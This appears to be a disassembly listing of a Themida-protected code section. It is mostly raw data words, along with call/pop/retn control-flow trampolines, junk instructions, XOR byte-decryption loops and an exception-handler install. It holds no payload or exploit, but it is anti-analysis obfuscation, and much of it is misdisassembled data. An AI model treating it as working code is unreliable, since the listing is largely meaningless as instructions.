		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0EABD592Bh, 9D0E8073h, 6660C6CCh, 8361F98Bh
		dd 0FA0741BDh, 840F0007h, 5Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0DEC35343h,	0B87257B9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5F759F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F759F	proc near		; CODE XREF: Themida_:005F7597p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5F759F	endp

; ---------------------------------------------------------------------------
		push	ebx
		or	edi, [ebp+7FA1755h]
		lea	ecx, [ebp+7FA4F53h]
		pusha
		add	[ebp+7FA043Dh],	edi
		push	edi
		mov	si, 2F08h
		pop	esi
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	bx, cx
		cmp	dword ptr [ebp+7FA1AEDh], 0
		jz	loc_5F7A01
		push	0
		push	eax
		call	sub_5F75E7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F75E7	proc near		; CODE XREF: Themida_:005F75DFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5F75E7	endp

; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------
		jge	short loc_5F765A
		cmp	al, 8Bh
		popf
		mov	ecx, 8307FA21h
		mov	ebp, 7FA1AEDh
		add	[edi], ecx
		test	[esi], cl
		add	al, 0
		add	[edx+0], ch
		push	eax
		call	sub_5F7619
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7619	proc near		; CODE XREF: Themida_:005F7611p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5F7619	endp

; ---------------------------------------------------------------------------
		db 9Eh,	0DEh, 0F9h
		dd 0D5E78166h, 0EDBD83B1h, 307FA1Ah, 3A8860Fh, 0BD0B0000h
		dd 7FA2B25h, 6D9D0160h,	6607FA2Eh, 8D89D98Ch, 7FA0C85h
		dd 0A04E180h
		db 0C9h, 0Fh
; ---------------------------------------------------------------------------


loc_5F765A:				; CODE XREF: Themida_:005F75F8j
		test	[ecx+eax+6A0000h], al
		push	eax
		call	sub_5F766A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F766A	proc near		; CODE XREF: Themida_:005F7662p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5F766A	endp

; ---------------------------------------------------------------------------
		dw 5D71h
		dd 0BF568E2Dh, 0F53856Eh, 188Bh, 13E900h, 1ACB0000h, 0AEBD3541h
		dd 159C7D32h, 0EB63AD3Eh, 0A36B7DAh, 0D5858BC4h, 6A07FA17h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0BF46C357h, 8BC9A41Eh, 565D0D26h,	2AFD9D89h
		dd 335B07FAh, 0FA1A4185h, 5090F807h, 6A90F98Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 40F7C356h, 37539BFBh, 0E8F9006Ah, 4,	1F03FFh, 0AE853h
		dd 1CE60000h, 0BEB1F805h, 0C7C806E0h, 5F5BF88Bh, 11E950h
		dd 0A98F0000h, 9C317988h, 52799B89h, 28E4A662h,	8BB50687h
		dd 8B042444h, 0B0BB6600h, 2444895Eh, 58D0F04h, 0BF000000h
		dd 55B4CCh, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0CCEB5D0Fh, 50A84574h, 1F398D89h
		dd 95FF07FAh, 7FA1785h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 80C35646h, 0CF8166A8h, 0DE9230Ch, 52000000h
		dd 889C7A1Bh, 8F533312h, 0ABC88F6h, 0EDCB8166h,	0F8858960h
		dd 0F07FE7Bh, 0C4E9DBB7h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B2FC356h
		dd 0FE7BF085h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 28B11ADBh, 1985CCCAh
		dd 11E8AEh, 0C4E00000h,	7C1BFC6Eh, 93C4B3C7h, 0BDB3EE27h
		dd 8960D44Ch, 0FA0A7D9Dh, 0C75B07h, 18h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 0B3C35040h, 816B5BBAh
		dd 5538F5F3h, 5E83Eh, 0E7460000h, 29C13EE1h, 0FA00098Dh
		dd 0B58B5B07h, 7FE7BF4h, 858BD4B3h, 7FA06E1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 95C35646h, 0E38166D6h
		dd 6897D2Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	43C35747h, 0CA0D95CAh, 0FE8h, 0ADA2400h, 85AA7CD0h
		dd 7244AE57h, 0AD435BD2h, 9E38166h, 858B5F4Ah, 7FA17D5h
		dd 4689DE8Bh, 859D8B04h, 9607FA19h, 5E8h, 0EA774600h, 0B3601B65h
		dd 615A5126h, 8B51505Fh, 8B965FDFh, 0F0B5FFF9h,	6A07FE7Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0BEF8C351h, 0F06E7069h, 68FA8A6Fh, 0F26ABC12h
		dd 481F98Bh, 0B447ED24h, 50006A0Dh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 55610E3Ch, 0BF0F594Ah
		dd 858DF8DBh, 7FE7BF8h,	0C870Fh, 800F0000h, 6, 880Fh, 66900000h
		dd 50DF15BFh, 56B75390h, 8595FF5Bh, 8B07FA17h, 0FA0A29BDh
		dd 61DA8B07h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	0AC35646h, 0D2AD27E8h, 7E00AC7Ch, 5701BB66h, 1AED85C7h
		dd 307FAh, 79BF0000h, 832893C1h, 0FE7BF8BDh, 840F0007h
		dd 16h,	4BDF8166h, 27E9D0h, 810F0000h, 6, 9C99D8Bh, 305007FAh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_5F7A01:				; CODE XREF: Themida_:005F75D6j
					; Themida_:005F7A18j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5F7A01
		jmp	short loc_5F7A37
; ---------------------------------------------------------------------------


loc_5F7A1C:				; CODE XREF: Themida_:005F7A33j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5F7A1C
		jmp	short $+2


loc_5F7A37:				; CODE XREF: Themida_:005F7A1Aj
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5F7A44
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7A44	proc near		; CODE XREF: Themida_:005F7A3Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5F7A44	endp

; ---------------------------------------------------------------------------
		imul	eax, edi, 38h
		lds	esi, ss:0BF664396h
		db	64h
		inc	eax
		push	0
		push	eax
		call	sub_5F7A6C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7A6C	proc near		; CODE XREF: Themida_:005F7A64p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5F7A6C	endp

; ---------------------------------------------------------------------------
		dd 0CCDD5F65h, 0EDBD8386h, 307FA1Ah, 41A850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0E05984C3h, 0B185F4CBh, 7BF8BD83h, 0F0007FEh, 3EB84h
		dd 0EFBBBB00h, 0B5FF763Ch, 7FE7BF8h, 2898501h, 95FF07FAh
		dd 7FA014Dh, 0C0D38166h, 0ECB58B6Ah, 6A07FE7Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 798CC357h, 3401722Dh, 30148F41h, 6C7F88Bh, 10001h, 81B513BFh
		dd 0CABB9666h, 5054361Ch, 0B25CBB57h, 965B3A11h, 0EE8h
		dd 2594A800h, 0A53B98FCh, 1053A66Bh, 0E99A70F5h, 11h, 5287B46Eh
		dd 14C88D90h, 0A2C39B4Bh, 0C7D1E415h, 0B5FF5B8Eh, 7FE7BF8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CEC35242h
		dd 55F9DB3h, 0BD8909B3h, 7FA13F9h, 161D95FFh, 6A07FAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B58B30C3h, 7FE7BECh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0B4C35646h, 56E3C92Ch, 0A4DF8166h, 858B5B53h
		dd 7FA0B09h, 33258D89h,	868907FAh, 0C4h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 1C35141h, 0F5B529CFh
		dd 8B07FA2Dh, 0FA27C195h, 0C283F807h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 73535750h, 2050899Bh, 5E951h, 375C0000h, 5B86EDCBh
		dd 90A3858Dh, 6A07FEh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0E36EB5C3h, 6C98D29h, 868907FAh
		dd 0B8h, 3661CF81h, 6A2C62h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 71C35747h, 0FFDE8B66h, 0FE7BF8B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 46716B6Eh, 0E9AA5816h, 95FFAC76h, 7FA1EF9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A3C35242h
		dd 11C8274h, 994230BEh,	0E99D8BDFh, 5007FA1Ah, 0BA525060h
		dd 40C82707h, 585A310Fh, 8961FB8Bh, 6A2434h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0DB17C0C3h
		dd 0DBBF0F87h, 7BF8B5FFh, 6A07FEh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0A80BFAC3h, 5DDAE9E6h
		dd 0E8F98BC8h, 0Bh, 86FC0B0Eh, 496207D2h, 0BB60AB8h, 0FA1E799Dh
		dd 95FF5B07h, 7FA0765h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 4CC35040h, 6810Fh, 0BD0B0000h, 7FA34BDh
		dd 1EC5BD83h, 0F0007FAh, 7484h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0A3462486h
		dd 459D8B93h, 0F07FA24h, 68Bh, 0D4F38100h, 960812ABh, 0EE8h
		dd 0F7A93400h, 7CB6D0A4h, 0EA802F50h, 6673CE58h, 5FEA8EBFh
		dd 0FE8A5250h, 6A965Fh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0FCB37FC3h, 3848BAEEh, 0F8B5FFFCh
		dd 6A07FE7Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 9A77C357h, 0C66F1704h,	6820FBBh
		dd 29000000h, 0FA043D9Dh, 0F595FF07h, 8907FA18h, 0FA18F195h
		dd 0F8B5FF07h, 8B07FE7Bh, 0FA14159Dh, 0B195FF07h, 8907FA1Eh
		dd 0FA05F595h, 0F5BD8307h, 207FA26h, 20840Fh, 28BF0000h
		dd 8B78CA70h, 0FA141985h, 5E807h, 62E40000h, 0F99254F8h
		dd 0C65Bh, 12C99D8Bh, 85C707FAh, 7FA05B1h, 0
		dd 17F99D23h, 0BD8B07FAh, 7FA28C9h, 0FFF37AE9h,	0E9BD8BFFh
		dd 0B07FA2Bh, 0FA2641BDh, 6AC18B07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0A6A9C355h
		dd 150D858Dh, 0BD8907FAh, 7FA2099h, 6E85390h, 0A3000000h
		dd 0EB00DF54h, 0D98B6641h, 8A505F5Bh, 6A90D8h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0E8F51EC3h, 0Dh, 30F36C4Eh, 36656761h, 0DD99F068h, 0A19D8BD6h
		dd 5F07FA25h, 0BD8B006Ah, 7FA0A91h, 7E9006Ah, 0D2000000h
		dd 5F84289Bh, 858D99A2h, 7FF6548h, 0E18509h, 0C08307FAh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 6CD88F55h, 0F2F78D5h, 8B50DFB7h,	240489FBh
		dd 6A006AF9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0F1DC355h, 9F543E3h, 0FA079D95h
		dd 0BB006A07h, 6F19BF33h, 174D95FFh, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9445C3h, 0C6B30956h
		dd 6830Fh, 9D8B0000h, 7FA1715h,	7ADB8D8Dh, 0D1FF07FEh
		dd 16D5BD23h, 0BD8307FAh, 7FA27ADh, 4D850F01h, 89000000h
		dd 0FA3359BDh, 89026A07h, 0FA21C185h, 0BB665007h, 4897F51h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0AEE235E4h, 95FFFE8Bh, 7FA1EF9h,	0BE9h
		dd 0FEFE6E00h, 7564730Eh, 0A1B72BCBh, 0DEBE9h, 0E800h
		dd 815D0000h, 0FF6552EDh, 8D858907h, 6A07FA20h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 6D76C353h, 0D80ED592h, 7E925h, 676C0000h, 2EF93C46h
		dd 0D9B70F07h, 4FA2858Dh, 0BB6607FEh, 0E85001A5h, 6, 4AD1F1BAh
		dd 895B8B3Dh, 810F2404h, 5, 0DAE78166h,	35FF6468h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5F80CF
; ---------------------------------------------------------------------------
		db 1Bh,	0E7h, 3Ch
		dd 9E8AE308h
; ---------------------------------------------------------------------------
		pop	edi
		sbb	al, 4Ch


loc_5F80CF:				; CODE XREF: Themida_:005F80C0j
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_5F80E1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F80E1	proc near		; CODE XREF: Themida_:005F80D9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5F80E1	endp

; ---------------------------------------------------------------------------
		db 30h,	0ABh, 28h
; ---------------------------------------------------------------------------
		xor	al, 89h
		mov	ebp, 7FA0539h
		inc	dword ptr [ebp+7FA3125h]
		push	0
		push	ebp
		call	sub_5F810C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F810C	proc near		; CODE XREF: Themida_:005F8104p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5F810C	endp

; ---------------------------------------------------------------------------
		dd 9B8C9911h, 0B8F37412h, 0B5896F84h, 7FA0CF9h,	6AFF6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0A34180C3h, 3603DDF4h, 5C2CEF81h, 0B5FF36C4h, 7FA2B95h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B1C35040h
		dd 95FFA568h, 7FA018Dh,	112E9h,	10E900h, 25AB0000h, 77591529h
		dd 8EB3B107h, 0EB05E13Ch, 0B01E94h, 111A92BBh, 6070E623h
		dd 271D8D89h, 0BF0F07FAh, 71E461C7h, 6647E7BBh,	0F613C59h
		dd 0DA83h, 0C8B60F00h, 1BB5BD2Bh, 6BA07FAh, 8B000000h
		dd 89C18BFEh, 0FA251D8Dh, 4E8C107h, 661B529h, 0F76607FAh
		dd 419D2BE2h, 2B07FA1Eh, 0A19D8BC8h, 8B07FA32h,	0A3BF66D1h
		dd 81665641h, 5FEC09CFh, 2E9h, 8BD98B00h, 0FA015D85h, 0EE96007h
		dd 8000000h, 8DDE43F6h,	884117B6h, 0D66D7201h, 0D18166E3h
		dd 83610890h, 0FC8A07C0h, 0BF00C083h, 5C864BA5h, 830FD03Bh
		dd 17h,	1765BD8Bh, 54E907FAh, 0F000000h, 688h, 99BD8B00h
		dd 8B07FA18h, 0FA0AE58Dh, 3D950907h, 3307FA31h,	0FA2D55BDh
		dd 1E18307h, 2D840Fh, 0D7800000h, 0E5A583E5h, 0FE07FA0Ah
		dd 14C18D89h, 958907FAh, 7FA015Dh, 5E960h, 46730000h, 896D6CB0h
		dd 0FA03899Dh, 0E96107h, 8D000000h, 0FECB14B5h,	0F9B50107h
		dd 6A07FA1Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 9D8B4CD3h, 7FA0145h, 12D95FFh, 6A07FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 345AEFC3h, 0AA9B589h, 0E2B907FAh, 6A000007h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0D7B9C356h, 0B72FB300h, 0FCE1837Ch, 35319531h, 6AFC07FAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 4D4DC350h, 7F6C7A8Bh, 0BD2B350Fh,	7FA0755h
		dd 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 295D95C3h, 0BFBF817Dh, 2B06648Bh,	0B53152D2h
		dd 7FA0C3Dh, 0C233AD5Bh, 0D003E8D1h, 7504E983h,	52006AF4h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0C804A58Ah, 6A3EE2E5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0B66DC350h,	1D858937h
		dd 0D07FA2Dh, 88h, 1C459589h, 958B07FAh, 7FA27C1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0FBC35040h, 0E9A93B9Ch
		dd 8, 0FE129581h, 327CF8BAh, 1C018D8Bh,	6A07FAh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1AA112C3h, 0E26236DFh, 141D8D29h, 0CE807FAh,	0BF000000h
		dd 0D3B03349h, 2CB7D08Bh, 0FCC3FE2h, 8Ch, 8B505B00h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0EAC35545h,	958D8983h, 6607FA0Ah
		dd 0DEA8F381h, 68A0Fh, 9D8B0000h, 7FA27A9h, 741BD83h, 0F0007FAh
		dd 3D84h, 0A98D3100h, 0E907FA28h, 11h, 0D167DDF0h, 64A20060h
		dd 0D6105EFAh, 0F5A39068h, 0B801h, 8D010000h, 7FA1265h
		dd 8D8DFE8Bh, 7FA4F53h,	24659D8Bh, 0E1FF07FAh, 1F69BD8Bh
		dd 0BD8307FAh, 7FA1AEDh, 85840F00h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0B0D2C357h, 70CBABBFh, 0EDBD833Ah, 107FA1Ah,	471840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 805257C3h, 928945F7h, 0EB8166B9h,	0BD835938h
		dd 7FA1AEDh, 6860F03h, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C4B2C350h
		dd 0C01F5AB0h, 23827CBBh, 85316047h, 7FA0A29h, 4880Fh
		dd 0BB660000h, 8C66AE74h, 0FD9589D9h, 8007FA34h, 0C90A04E1h
		dd 163840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0FEBCBCC3h, 6C71713Ch, 17D5858Bh
		dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0A6C600C3h, 8E0B9040h, 0F1A7D781h, 0BF0F1451h
		dd 418533DFh, 6A07FA1Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3DF9C350h, 0F114DEB8h
		dd 96F40EBh, 32759531h,	529007FAh, 505BF88Bh, 1DBD8B90h
		dd 6A07FA13h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 6B3423CFh, 13E9h,	4C126300h, 6DDEA323h
		dd 0FD29DD2Ah, 0C092E6D3h, 4FB6B59Eh, 7C59589h,	126807FAh
		dd 60159A75h, 0F570AB0h, 8Eh, 81615E00h, 76ED2434h, 830F1585h
		dd 5, 81C38166h, 11E987h, 6A5D0000h, 8EF4FE44h,	0FABCD83Fh
		dd 0FBC1A946h, 0FFE1326Ah, 0FA178595h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 77442952h, 0F8858908h, 6A07FE7Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 433CC351h
		dd 8BB3D85Ch, 0FA2AD19Dh, 1BBE907h, 8B660000h, 0F0858BFAh
		dd 8907FE7Bh, 0FA33DDBDh, 1800C707h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 3679C357h, 6608E914h, 3F512E1Bh, 8BF98B66h, 0FE7BF4B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 19466A47h, 81660969h, 8B8DF6EBh,	0FA06E185h
		dd 62D78007h, 0BB660689h, 858BD711h, 7FA17D5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C4C35343h, 0E9BD892Fh
		dd 8907FA18h, 10E90446h, 0A8000000h, 919802A6h,	21EE450Ah
		dd 0CE262ACCh, 89FAD371h, 0FA21BDBDh, 0E8509607h, 0Bh
		dd 0AA97B262h, 97F561AEh, 0E860A4C7h, 0Dh, 2C9DAEEEh, 0AC6CC180h
		dd 2A994790h, 0C3BF6641h, 965F5FC5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 53C35242h, 9A70F510h, 7BF0B5FFh
		dd 952907FEh, 7FA1A9Dh,	79F78166h, 0ACF368D2h, 5250B505h
		dd 0DC2C04BBh, 66310F12h, 5A8FDFBBh, 24048158h,	4B19570Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h
		dd 69850154h, 8107FA04h, 6B3E4EEFh, 0F8858D7Ch,	6A07FE7Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0EE42C356h, 800Fh, 90F80000h, 0B750DF8Bh
		dd 85899034h, 7FA1201h,	178595FFh, 6A07FAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8B6619C3h
		dd 6A61FBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 85C7AFC3h, 7FA1AEDh, 3, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0E6C35646h,	197D7190h, 22C6F436h
		dd 0F8BD83EBh, 7FE7Bh, 47840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0ADA1CFC3h
		dd 30454CDCh, 0B70F53A3h, 0E9605BF8h, 9, 0DE5775C8h, 0E001A639h
		dd 1FBB6663h, 21E96175h, 8B000000h, 0FA19B5BDh,	0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 61C35343h, 0EE838D7h
		dd 0D1000000h, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0EE9CDh
		dd 669F0000h, 90B2A570h, 946B632Dh, 999C219Eh, 4DBD895Fh
		dd 8B07FA27h, 0FA0FFD9Dh, 0EDBD8307h, 307FA1Ah,	3DD850Fh
		dd 9D2B0000h, 7FA1691h,	7BF8BD83h, 0F0007FEh, 3CA84h, 31B58900h
		dd 0FF07FA26h, 0FE7BF8B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7804201h, 0FE8B6620h
		dd 0D0DBD8Bh, 95FF07FAh, 7FA014Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 60C35747h, 1858958h, 8B07FA27h
		dd 0FE7BECB5h, 0C19D8907h, 0C707FA1Ch, 1000106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD89CC46h, 7FA3191h, 0CE850h, 422C0000h, 5613F33Dh
		dd 0B69D282Ah, 0D88B2067h, 2434895Bh, 14BFEB81h, 0B5FF2080h
		dd 7FE7BF8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0CAC35545h, 24848F31h, 0E9A9F29Ch, 0Eh,	8C334521h
		dd 0E28FFF95h, 7474FD90h, 0F3813F2Dh, 70ED716Ch, 161D95FFh
		dd 0FB8B07FAh, 6F19BB66h, 7BECB58Bh, 7E807FEh, 20000000h
		dd 63BA2B90h, 9D8B954Eh, 7FA1231h, 9858B5Bh, 0E907FA0Bh
		dd 0Fh,	0F666CD7Fh, 83468421h, 21F04046h, 8948013Eh, 0C486h
		dd 0C9BD8B00h, 8B07FA11h, 0FA27C195h, 6E807h, 0BDE30000h
		dd 7D40E9BCh, 780E8BFh,	0C2835F01h, 0C7816604h,	50892C26h
		dd 559D8B20h, 8D07FA2Dh, 0FE90A385h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 1FA37287h
		dd 89FB8B93h, 0B886h, 0CB816600h, 6AE5FAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 89C35646h, 0B5FF31F9h
		dd 7FE7BF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	1AC35646h, 0EF6586E9h, 0BB4E2855h, 4C1FABA3h, 21A98D89h
		dd 95FF07FAh, 7FA1EF9h,	10E9h, 0E64A6000h, 23F6A8BBh, 60CD298Dh
		dd 0ACCD3D6Ch, 840F9663h, 4, 503ABB66h,	0A5BF6650h, 6A96D3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 18636CC3h, 2F9F3896h, 81665BD9h, 0FF7EFFE7h,	0FE7BF8B5h
		dd 0ACCBF07h, 95FF43B4h, 7FA0765h, 4C19D8Bh, 0BD8307FAh
		dd 7FA1EC5h, 44840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5A7FC352h
		dd 0E856F264h, 8, 6573C5BFh, 18CDD10Ah,	5BF2C380h, 7E9505Bh
		dd 79000000h, 6E9B88EBh, 348992E9h, 0FF22B324h,	0FE7BF8B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 8274A3C1h, 30BE011Ch, 7E9h, 0DDCB4700h
		dd 0C1F97900h, 18F595FFh, 0BF0F07FAh, 0F8B5FFDFh, 107FE7Bh
		dd 0FA0809B5h, 0B195FF07h, 6A07FA1Eh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 4E1DC356h
		dd 0D51AF76Fh, 0BD833246h, 7FA26F5h, 72840F02h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 89D5C350h, 0FA292D95h, 7EF8007h, 1419858Bh
